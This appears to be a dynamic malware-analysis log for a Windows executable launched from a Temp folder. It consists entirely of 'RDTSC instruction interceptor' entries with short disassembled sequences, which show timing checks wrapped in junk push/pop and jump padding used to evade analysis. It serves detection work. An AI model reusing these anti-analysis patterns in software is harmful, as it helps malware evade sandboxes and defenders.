Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3756FE second address: 35F9AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d lea eax, dword ptr [ebp+124791F7h] 0x00000013 and edi, dword ptr [ebp+122D2B8Dh] 0x00000019 push eax 0x0000001a pushad 0x0000001b jmp 00007F5504CC35F5h 0x00000020 jmp 00007F5504CC35EEh 0x00000025 popad 0x00000026 mov dword ptr [esp], eax 0x00000029 mov dword ptr [ebp+122D30F0h], ecx 0x0000002f call dword ptr [ebp+122D1DD3h] 0x00000035 pushad 0x00000036 jg 00007F5504CC35EEh 0x0000003c push eax 0x0000003d push edx 0x0000003e push ecx 0x0000003f pop ecx 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 35F9AA second address: 35F9AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3ACED7 second address: 3ACEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3ACEDD second address: 3ACEE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD2F2 second address: 3AD2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD2F6 second address: 3AD312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7178h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD312 second address: 3AD322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F5504CC35E6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD484 second address: 3AD493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jo 00007F5504BA7166h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD493 second address: 3AD49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD49B second address: 3AD4A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD4A7 second address: 3AD4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD4AD second address: 3AD4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 jbe 00007F5504BA7166h 0x0000000e jnc 00007F5504BA7166h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD4C2 second address: 3AD4C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD4C9 second address: 3AD4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD4D2 second address: 3AD4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD4D8 second address: 3AD4DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD61E second address: 3AD62B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F5504CC35ECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 35F9A2 second address: 35F9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3AD7B6 second address: 3AD7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B3399 second address: 3B33A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F5504BA7166h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B215F second address: 3B2163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B2163 second address: 3B2169 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B22F6 second address: 3B22FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B22FB second address: 3B2326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5504BA7166h 0x0000000a jng 00007F5504BA7166h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop ecx 0x00000019 jmp 00007F5504BA7172h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B2493 second address: 3B2497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B2782 second address: 3B278D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B28CE second address: 3B28DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B9A20 second address: 3B9A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007F5504BA7170h 0x0000000a pop ebx 0x0000000b popad 0x0000000c jc 00007F5504BA7197h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5504BA7171h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B9A50 second address: 3B9A54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B8910 second address: 3B891A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5504BA7166h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B891A second address: 3B891E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B891E second address: 3B8924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B8D30 second address: 3B8D49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3B8509 second address: 3B851C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA716Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3BF0D7 second address: 3BF0EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5504CC35E6h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3C87A0 second address: 3C87B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jp 00007F5504BA7166h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3C87B3 second address: 3C87BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3C758E second address: 3C759A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5504BA7166h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3C759A second address: 3C75A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3C772B second address: 3C7740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F5504BA7166h 0x0000000f jng 00007F5504BA7166h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3C7740 second address: 3C7744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3750AF second address: 3750B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3750B3 second address: 3750B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3750B9 second address: 3750BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3750BE second address: 37510B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504CC35EEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D1E19h], esi 0x00000015 pushad 0x00000016 sub esi, dword ptr [ebp+122D3CA0h] 0x0000001c pushad 0x0000001d mov edi, dword ptr [ebp+122D3A5Ch] 0x00000023 or dword ptr [ebp+122D1D53h], ecx 0x00000029 popad 0x0000002a popad 0x0000002b mov ebx, dword ptr [ebp+12479236h] 0x00000031 mov ecx, 126033BBh 0x00000036 add eax, ebx 0x00000038 mov ecx, dword ptr [ebp+122D3519h] 0x0000003e nop 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 push edx 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 37510B second address: 37510F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CB705 second address: 3CB70F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5504CC35E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CB70F second address: 3CB71C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CB71C second address: 3CB722 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CB722 second address: 3CB728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CB870 second address: 3CB888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 jns 00007F5504CC35ECh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CB888 second address: 3CB8A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F5504BA716Bh 0x0000000c pushad 0x0000000d je 00007F5504BA7166h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CBB43 second address: 3CBB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CBB47 second address: 3CBB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CBB53 second address: 3CBB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CBB57 second address: 3CBB67 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5504BA7166h 0x00000008 jo 00007F5504BA7166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3CBB67 second address: 3CBB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5504CC35F8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D4166 second address: 3D4170 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5504BA716Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D4170 second address: 3D4177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D4177 second address: 3D4189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5504BA7166h 0x0000000a js 00007F5504BA7166h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D22C9 second address: 3D22CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D22CF second address: 3D22DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D27B2 second address: 3D27EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F5504CC35EEh 0x00000011 popad 0x00000012 push edx 0x00000013 jmp 00007F5504CC35F1h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D2A56 second address: 3D2A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5504BA7166h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D2A60 second address: 3D2A79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D3648 second address: 3D364C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D3BD7 second address: 3D3BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F5504CC35F9h 0x0000000d pop edi 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D3E6B second address: 3D3E83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7171h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D3E83 second address: 3D3E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3D946A second address: 3D9470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DD1A3 second address: 3DD1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DD1A9 second address: 3DD1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DC49F second address: 3DC4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DC4A3 second address: 3DC4A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DC4A9 second address: 3DC4AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCA45 second address: 3DCA4B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCA4B second address: 3DCA74 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5504CC35EEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5504CC35F2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCA74 second address: 3DCA78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCA78 second address: 3DCA7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCE77 second address: 3DCE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCE7B second address: 3DCE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCE7F second address: 3DCE97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5504BA7172h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCE97 second address: 3DCED5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5504CC35E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5504CC35F8h 0x00000013 jmp 00007F5504CC35F6h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCED5 second address: 3DCED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3DCED9 second address: 3DCEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 33CBF0 second address: 33CC20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504BA7170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5504BA7176h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E4491 second address: 3E4496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E4949 second address: 3E494D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	RDTSC instruction interceptor: First address: 3E494D second address: 3E4976 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5504CC35F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F5504CC35ECh 0x0000000f rdtsc
